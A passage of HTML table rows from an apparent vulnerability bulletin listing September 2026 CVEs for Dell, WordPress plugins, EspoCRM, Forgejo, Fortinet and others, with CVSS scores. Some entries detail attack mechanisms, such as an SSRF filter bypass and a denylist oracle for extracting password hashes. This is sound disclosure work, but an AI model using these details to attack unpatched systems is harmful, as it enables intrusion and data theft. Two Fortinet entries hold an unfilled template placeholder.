&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79731&quot; target=&quot;_blank&quot;&gt;CVE-2026-79731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Cryptographic Key vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79735&quot; target=&quot;_blank&quot;&gt;CVE-2026-79735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Validation of Certificate with Host Mismatch vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79943&quot; target=&quot;_blank&quot;&gt;CVE-2026-79943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an LDAP Query (&#039;LDAP Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80055&quot; target=&quot;_blank&quot;&gt;CVE-2026-80055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Entropy in PRNG vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80171&quot; target=&quot;_blank&quot;&gt;CVE-2026-80171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Plaintext Storage of a Password vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80176&quot; target=&quot;_blank&quot;&gt;CVE-2026-80176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10.2616, contain a Security Version Number Mutable to Older Versions vulnerability. A low privileged attacker with physical access could potentially exploit this vulnerability, leading to Protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81051&quot; target=&quot;_blank&quot;&gt;CVE-2026-81051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10.2616, contain a Download of Code Without Integrity Check vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81052&quot; target=&quot;_blank&quot;&gt;CVE-2026-81052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to 2605_10.2616, contain a Missing Support for Integrity Check vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81049&quot; target=&quot;_blank&quot;&gt;CVE-2026-81049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DernekPlus--Website Template&lt;/td&gt;
&lt;td&gt;Observable response discrepancy vulnerability in DernekPlus Website Template allows Account Footprinting. This issue affects Website Template: through 10092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9161&quot; target=&quot;_blank&quot;&gt;CVE-2026-9161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;designthemes--DT LMS elearning, WordPress LMS Plugin&lt;/td&gt;
&lt;td&gt;The DT LMS - elearning, WordPress LMS plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on multiple AJAX handlers (including dtlms_save_poc_settings, dtlms_save_skin_settings, and dtlms_save_options_settings) in versions up to, and including, 1.1. These handlers are registered on the wp_ajax_nopriv_* hook and contain no capability check, no nonce verification, and pass user-supplied data directly to update_option(). This makes it possible for unauthenticated attackers to overwrite arbitrary plugin option values stored in the wp_options table, including Point-of-Contact email configuration and skin/branding settings, which can be used to alter the appearance and behavior of the LMS for all site visitors.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11355&quot; target=&quot;_blank&quot;&gt;CVE-2026-11355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dglingren--Media Library Assistant&lt;/td&gt;
&lt;td&gt;The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;mla_link_attributes&#039; parameter in all versions up to, and including, 3.35 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6640&quot; target=&quot;_blank&quot;&gt;CVE-2026-6640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dglingren--Media Library Assistant&lt;/td&gt;
&lt;td&gt;The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;mla_gallery&#039; shortcode in versions up to and including 3.35. This is due to insufficient input sanitization and output escaping on the mla_link_href parameter when mla_output is set to &#039;paginate_links&#039;, where the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() without proper URL escaping, then outputs it directly in href attributes without applying esc_url(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6641&quot; target=&quot;_blank&quot;&gt;CVE-2026-6641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dglingren--Media Library Assistant&lt;/td&gt;
&lt;td&gt;The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the bulk edit preset export/import mechanism in versions up to and including 3.35. This is due to insufficient output escaping on preset field values when they are rendered in HTML attribute contexts in the mla_generate_bulk_edit_form_fieldsets() function and mla-bulk-edit-fieldsets.tpl template. While wp_kses() filtering is applied during preset export for users without unfiltered_html capability, this does not prevent attribute injection attacks since the malicious payload consists of quotes and HTML attributes rather than HTML tags. When preset values are retrieved and rendered, they are directly assigned to template variables without esc_attr() escaping and then inserted into input element value attributes via simple string replacement. This makes it possible for authenticated attackers, with Author-level access and above (upload_files capability), to inject arbitrary web scripts that execute when an administrator imports the poisoned preset and the targeted input field receives focus.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6642&quot; target=&quot;_blank&quot;&gt;CVE-2026-6642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dimitri Grassi--Salon booking system&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Salon booking system &amp;lt;= 10.31.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81793&quot; target=&quot;_blank&quot;&gt;CVE-2026-81793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dolibarr--Dolibarr&lt;/td&gt;
&lt;td&gt;Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89012&quot; target=&quot;_blank&quot;&gt;CVE-2026-89012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dylanjkotze--Zephyr Project Manager&lt;/td&gt;
&lt;td&gt;The Zephyr Project Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;message&#039; parameter in all versions up to, and including, 3.3.205 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Custom-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability can only be exploited when the &#039;Directly link to project&#039; plugin setting is disabled.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76931&quot; target=&quot;_blank&quot;&gt;CVE-2026-76931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgarrojas--PDF Builder for WooCommerce. Create invoices,packing slips and more&lt;/td&gt;
&lt;td&gt;The Woo PDF Invoice Builder plugin (also distributed as &quot;PDF Builder for WooCommerce&quot;) for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0.8. This is due to the InspectOrder() AJAX handler (woocommerce-pdf-invoice-ajax.php:513), registered on wp_ajax_rednao_wcpdfinv_inspect_order, performing no capability check and no nonce verification before loading an arbitrary order by the attacker-supplied &#039;OrderNumber&#039; POST field and serializing its full WC_Order::get_data() and meta to the response. This makes it possible for authenticated attackers with Subscriber-level access and above to read every WooCommerce order on the site - including billing/shipping address, email, phone number, payment method, gateway transaction ID, and order totals - by iterating order IDs.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11496&quot; target=&quot;_blank&quot;&gt;CVE-2026-11496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;egoi--Smart Marketing SMS and Newsletters Forms&lt;/td&gt;
&lt;td&gt;The Smart Marketing SMS and Newsletters Forms plugin for WordPress is vulnerable to generic SQL Injection via Parameter Name in all versions up to, and including, 5.1.24 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the plugin&#039;s sync feature to be enabled (options[&#039;enabled&#039;]) and get_option(&#039;egoi_mapping&#039;) to be truthy, both of which reflect ordinary configured states for the plugin&#039;s core contact mapping functionality.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77161&quot; target=&quot;_blank&quot;&gt;CVE-2026-77161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;elenavanengelenmaslova--mocknest-serverless&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in elenavanengelenmaslova mocknest-serverless 0.9.0. The affected element is an unknown function of the file deployment/aws/shared/github-oidc-role.yaml of the component AWS GitHub OIDC Deployment Helper Script. Performing a manipulation results in improper privilege management. It is possible to initiate the attack remotely. The patch is named 6ab3147282d867c1993f995272750db091c2290b. Applying a patch is the recommended action to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86516&quot; target=&quot;_blank&quot;&gt;CVE-2026-86516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elliot Sowers/ RelyWP--Simple Cloudflare Turnstile&lt;/td&gt;
&lt;td&gt;Unauthenticated Content Injection in Simple Cloudflare Turnstile &amp;lt;= 1.42.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66632&quot; target=&quot;_blank&quot;&gt;CVE-2026-66632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Elliot Sowers/ RelyWP--Simple Cloudflare Turnstile&lt;/td&gt;
&lt;td&gt;Unauthenticated Bypass Vulnerability in Simple Cloudflare Turnstile &amp;lt;= 1.42.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66674&quot; target=&quot;_blank&quot;&gt;CVE-2026-66674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;embedded-graphics--embedded-graphics&lt;/td&gt;
&lt;td&gt;A weakness has been identified in embedded-graphics up to 0.8.2 on 32-bit. Impacted is the function ImageRaw::new/bytes_per_row of the file src/image/image_raw.rs. This manipulation causes integer overflow. The attack is possible to be carried out remotely. Upgrading the affected component is recommended. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90596&quot; target=&quot;_blank&quot;&gt;CVE-2026-90596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;espocrm--espocrm&lt;/td&gt;
&lt;td&gt;EspoCRM before 10.0.4 is vulnerable to server-side request forgery. HostCheck::ipAddressIsNotInternal(), which validates outbound URLs to block requests to internal/private IP addresses, strips ::ffff: (IPv4-mapped IPv6) prefixes but does not recognize IPv6 transition addresses that embed private IPv4 addresses: NAT64 (64:ff9b::), 6to4 (2002::), and Teredo (2001:0000::). An attacker who controls a domain with AAAA records pointing to such transition addresses can bypass both the internal-host validation and the CURLOPT_RESOLVE IP-pinning check, causing EspoCRM to issue outbound requests to internal network services. Affected paths include POST /Attachment/fromImageUrl, reachable by any authenticated user with attachment access, and outbound webhook delivery, which requires an admin or API user.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88896&quot; target=&quot;_blank&quot;&gt;CVE-2026-88896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;eteubert--Podlove Podcast Publisher&lt;/td&gt;
&lt;td&gt;The Podlove Podcast Publisher plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;episode_contributor[..][..][comment]&#039; Parameter in all versions up to, and including, 4.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The contributor comment is stored in a plugin-managed custom table, bypassing WordPress core&#039;s wp_kses_post filter, and the save_post hook fires without a nonce check, meaning any user who can edit posts can exploit this without further preconditions.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75966&quot; target=&quot;_blank&quot;&gt;CVE-2026-75966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;evanchiu--serverless-todo&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in evanchiu serverless-todo 1.0.3/2.0.0. Impacted is the function saveTodos of the file src/index.js of the component API Todo Endpoint. Such manipulation of the argument event.body leads to resource consumption. The attack can be executed remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90582&quot; target=&quot;_blank&quot;&gt;CVE-2026-90582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ExpressTech Systems--Quiz And Survey Master&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object References (IDOR) in Quiz And Survey Master &amp;lt;= 11.2.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62140&quot; target=&quot;_blank&quot;&gt;CVE-2026-62140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Exrick--xmall&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Exrick xmall up to 19e7917d5ed3bd2a2421a3a246ad494c133ba94c. Impacted is an unknown function of the file xmall-manager-web/src/main/webapp/WEB-INF/jsp/order-print.jsp of the component Order Printing. Performing a manipulation results in cross site scripting. Remote exploitation of the attack is possible. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90571&quot; target=&quot;_blank&quot;&gt;CVE-2026-90571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fahad Mahmood--WP Docs&lt;/td&gt;
&lt;td&gt;Subscriber Cross Site Scripting (XSS) in WP Docs &amp;lt;= 2.3.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81782&quot; target=&quot;_blank&quot;&gt;CVE-2026-81782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FastAdmin--FastAdmin&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in FastAdmin up to 1.2.0.20210401_beta. Affected is the function register/login of the file application/index/controller/User.php of the component User Controller. Such manipulation of the argument url leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Upgrading to version 1.2.1.20210731_beta is able to address this issue. The name of the patch is b3d32e2bf3637488cfe2fc58a27a9d2475b2b51b. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86244&quot; target=&quot;_blank&quot;&gt;CVE-2026-86244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fengoffice--Feng Office&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Fengoffice Feng Office up to 3.11.13.11. Affected is the function update_system_module_order/update_dimension_order of the file application/controllers/MoreController.class.php of the component Reorder Handlers. Performing a manipulation of the argument modules/dims results in sql injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90496&quot; target=&quot;_blank&quot;&gt;CVE-2026-90496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flextype--flextype&lt;/td&gt;
&lt;td&gt;Flextype CMS through 1.0.0-alpha.3 accepts API authentication credentials through URL query string parameters in REST API routes. Attackers with access to web server, proxy, or monitoring logs can recover valid API token pairs that grant full API access.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88897&quot; target=&quot;_blank&quot;&gt;CVE-2026-88897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flextype--flextype&lt;/td&gt;
&lt;td&gt;Flextype CMS versions 0.9.9 through 1.0.0-alpha.3 fail to HTML-escape plugin directory names in the dependency error page rendered by getValidPluginsDependencies(). Attackers with write access to the plugins directory can create a plugin with HTML characters in its name to execute arbitrary scripts in users&#039; browsers when dependency validation fails.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89145&quot; target=&quot;_blank&quot;&gt;CVE-2026-89145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90580&quot; target=&quot;_blank&quot;&gt;CVE-2026-90580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluentCMS--FluentCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was found in FluentCMS up to 0.0.5. This affects the function GetAccessible of the file src/Backend/FluentCMS.Services/Permissions/PermissionManager.cs. Performing a manipulation results in missing authorization. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86271&quot; target=&quot;_blank&quot;&gt;CVE-2026-86271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forgejo--Forgejo&lt;/td&gt;
&lt;td&gt;Forgejo 13.0.0 through 16.0.4, when &quot;[federation] ENABLED = true&quot; is set, has a spoofing issue that affects identity integrity but does not allow account takeover or content modification. It does not verify that the HTTP Signature on an incoming ActivityPub activity was produced by the key belonging to the actor named in the activity body. The signature verification in routers/api/v1/activitypub/reqsignature.go validates the request signature, but the inbox activity handlers subsequently read the acting identity from the attacker-controlled JSON body without binding it to the verified signing key. Additionally, the signed Digest header is not recomputed against the received request body. A remote attacker who hosts a single valid ActivityPub actor and keypair can therefore submit signature-valid activities attributed to any actor identity they name.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90679&quot; target=&quot;_blank&quot;&gt;CVE-2026-90679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiAnalyzer&lt;/td&gt;
&lt;td&gt;A use of uninitialized variable vulnerability in Fortinet FortiAnalyzer 7.6.3 through 7.6.6 may allow attacker to denial of service via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84391&quot; target=&quot;_blank&quot;&gt;CVE-2026-84391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiClientWindows&lt;/td&gt;
&lt;td&gt;A unverified ownership vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.7, FortiClientWindows 7.2 all versions may allow attacker to improper access control via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84386&quot; target=&quot;_blank&quot;&gt;CVE-2026-84386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiManager&lt;/td&gt;
